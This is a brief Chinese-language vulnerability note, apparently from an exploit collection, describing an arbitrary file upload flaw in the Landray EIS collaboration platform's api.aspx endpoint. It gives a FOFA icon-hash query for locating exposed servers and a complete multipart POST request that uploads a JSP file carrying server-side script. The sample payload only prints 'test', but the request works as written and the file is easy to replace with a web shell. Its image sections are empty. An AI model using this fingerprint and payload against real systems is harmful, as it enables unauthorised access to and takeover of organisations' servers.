L1-2蓝凌-EIS智慧协同平台-文件上传

漏洞描述：

蓝凌EIS智慧协同平台api.aspx接口任意文件上传漏洞，攻击者可以上传任意文件。

影响版本：

- 蓝凌-EIS智慧协同平台

网站图片：

网络测绘：

fofa语法：

icon_hash="953405444"

漏洞复现：

payload：

```
POST /eis/service/api.aspx?action=saveImg HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
Content-Length: 192
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryxdgaqmqu

------WebKitFormBoundaryxdgaqmqu
Content-Disposition: form-data; name="file"filename="test.jsp"
Content-Type: text/html

<% response.write("test")%>
------WebKitFormBoundaryxdgaqmqu--
```

效果图: